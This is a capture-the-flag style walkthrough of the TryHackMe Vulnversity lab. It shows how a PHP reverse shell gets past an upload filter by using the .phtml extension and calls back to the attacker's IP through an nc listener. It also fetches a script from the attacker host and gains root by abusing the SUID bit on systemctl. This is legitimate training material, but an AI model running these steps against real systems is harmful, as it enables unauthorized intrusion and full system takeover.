Table of contents
Vulnversity is the first machine in TryHackMe’s “Offensive pentesting” path.
Enumeration
Starting with the nmap
scan:
nmap -sC -sV 10.10.73.131
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
According to the scan, the HTTP service is running on port 3333
. First, we need to check if there are any juicy files/directories on the web server. The tool called gobuster
can help with that:
gobuster dir -u http://10.10.73.131:3333 -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.73.131:3333
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/07 12:40:42 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/internal (Status: 301)
/js (Status: 301)
/server-status (Status: 403)
===============================================================
2020/10/07 12:41:08 Finished
===============================================================
We can check /internal
in the browser and discover a file upload feature there. Normally, that would be the way into the system, as you can try to upload a malicious file. If you try to upload a standard PHP reverse shell, the page will cancel the request as the .php
is blocked. It’s quite a classic scenario. Usually, there are a few ways from here:
You’re trying to find which format is allowed
You’re trying to mimic the header of the file to trick the checking mechanism. As this is an easy box, and the author is guiding you through the process, we will follow the first scenario.
Exploitation
By creating a simple wordlist, we can brute force the request. As it’s a web application, the Burp Suite can help with that. Intercept the request from your browser and forward it to the Intruder (Ctrl+I). In the “Position” option, clear everything and set “Add §” around the file extension. It should be like this:
POST /internal/index.php HTTP/1.1
Host: 10.10.73.131:3333
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.73.131:3333/internal/index.php
Content-Type: multipart/form-data; boundary=---------------------------9719036391959238806602173823
Content-Length: 338
Connection: close
Upgrade-Insecure-Requests: 1-----------------------------9719036391959238806602173823
Content-Disposition: form-data; name="file"; filename="shell§.php§"
Content-Type: application/octet-stream -----------------------------9719036391959238806602173823
Content-Disposition: form-data; name="submit"
Submit -----------------------------9719036391959238806602173823--
We also need to set a wordlist, but for that, we need to know what extension a PHP file can have. A quick google search can lead to the page with the list of extensions.
.php
.php3
.php4
.php5
.phtml
Let the Burp Suite run and validate, that only .phtml
will work in that case.
We will use a basic PHP reverse shell for that:
cp /usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php .
nano php-reverse-shell.php
mv php-reverse-shell.php php-reverse-shell.phtml
Don’t forget to modify lines 49 and 50 in it. It should be your tun0 IP and some random port:
$ip = '10.11.19.53'; // CHANGE THIS
$port = 53; // CHANGE THIS
Start a listener with nc
:
sudo nc -nlvp 53
The file is uploaded now, but we need to open it to trigger the shell. To find the location, we can use the gobuster one more time:
gobuster dir -u http://10.10.73.131:3333/internal -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.73.131:3333/internal
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/07 12:50:33 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/index.php (Status: 200)
/uploads (Status: 301)
===============================================================
2020/10/07 12:50:59 Finished
===============================================================
Navigate to the /uploads
directory and open a file. That will spawn the shell
PrivEsc
Now we have a shell as www-data
user. It is time to escalate the privileges to root. Stabilize the shell with
/usr/bin/script -qc /bin/bash /dev/null
We will use Linux Smart Enumeration for that. Clone the repo, copy the lse.sh
into the folder and start a SimpleHTTPServer
with Python. Wget
the file from your machine and add the rights to run it.
www-data@vulnuniversity:/tmp$ wget http://10.11.19.53/lse.sh
wget http://10.11.19.53/lse.sh
--2020-10-06 11:47:35-- http://10.11.19.53/lse.sh
Connecting to 10.11.19.53:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 37926 (37K) [text/x-sh]
Saving to: 'lse.sh'
lse.sh 100%[===================>] 37.04K --.-KB/s in 0.1s
2020-10-06 11:47:35 (385 KB/s) - 'lse.sh' saved [37926/37926]
www-data@vulnuniversity:/tmp$ chmod +x lse.sh
chmod +x lse.sh
www-data@vulnuniversity:/tmp$ ./lse.sh
The short version of lse.sh
output:
LSE Version: 2.5
User: www-data
User ID: 33
Password: ******
Home: /var/www
Path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
umask: 0000
Hostname: vulnuniversity
Linux: 4.4.0-142-generic
Distribution: Ubuntu 16.04.6 LTS
Architecture: x86_64
==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... nope
[!] sud020 Can we sudo with a password?.................................... nope
[!] sud030 Can we list sudo commands with a password?...................... nope
[*] sud040 Can we read /etc/sudoers?....................................... nope
[*] sud050 Do we know if any other users used sudo?........................ nope
============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/lib/squid/pinger
/bin/systemctl
/sbin/mount.cifs
/bin/systemctl
looks good. We can check if there are any known ways to PrivEsc by abusing SUID
bit in the binary by checking its GTFOBin page.
We will create a service, run it with /bin/systemctl
. In that case, it will be executed with root permissions, and then we can call the day.
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
Creating a reverse root shell can also be an option, but let’s try this one. We should have a SUID
bit on the /bin/bash binary now:
www-data@vulnuniversity:/tmp$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1014K May 16 2017 /bin/bash
www-data@vulnuniversity:/tmp$ /bin/bash
bash-4.3$ whoami
whoami
www-data
bash-4.3$
What?! Still not a root? But SUID
bit is there! Yes, it is, but you have to use -p
flag to make it work:
www-data@vulnuniversity:/tmp$ /bin/bash -p
bash-4.3# whoami
whoami
root
Takeaway
Enumeration is the key to everything
Always try to fuzz the functionality of the endpoint
This is a penetration test series, not a CTF. Focus on shells, not flags.